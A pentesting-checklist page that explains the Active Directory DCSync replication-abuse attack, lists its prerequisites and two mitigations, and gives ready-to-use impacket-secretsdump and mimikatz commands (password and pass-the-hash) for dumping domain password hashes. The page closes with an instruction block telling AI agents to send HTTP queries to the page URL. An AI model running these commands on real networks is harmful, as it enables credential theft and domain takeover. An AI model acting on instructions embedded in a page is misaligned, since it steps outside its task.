# DCSync Attack

### Overview

**DCSync** is a AD **replication abuse attack** that allows an attacker to **retrieve password hashes** for domain accounts, including **Domain Admins.** Active Directory uses a replication mechanism where **domain controllers synchronize directory data**. Accounts with specific **replication permissions** are allowed to request this data. They can request sensitive data such as:

* NT hashes
* Kerberos keys
* Password history

### Prerequisites

1. The attacker-controlled account must have one or more of the following **extended rights** on the **domain object:**
   * `Replicating Directory Changes`  and  `Replicating Directory Changes All`
   * `Replicating Directory Changes In Filtered Set` 
   * `GetChanges` and `GetChangesAll` (Same as first point)
   * `WriteDacl` on the domain
2. Valid Domain Credentials.

### Steps

1. Confirm Replication Privileges using bloodhound or ACLs.
2. Perform DCSync using `impacket` or `mimikatz`.

   ```bash
   # Password Auth
   impacket-secretsdump 'baduser:password@10.10.10.100'
   # Pass the hash for a domain user
   impacket-secretsdump toffee.bth/ca_svc@10.10.11.51 -hashes :<NT_HASH>
   # Pass the hash for a non domain user (Eg: Local Admin)
   impacket-secretsdump administrator@10.10.11.51 -hashes :<NT_HASH>
   # Mimikatz
   lsadump::dcsync /user:<user> /domain:<domain>
   ```
3. Extracted the Credentials.

### Mitigations

1. Restrict Replication Permissions.
2. Monitor Domain ACL Changes


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/post-compromise-attacks/domain-takeover/dcsync-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.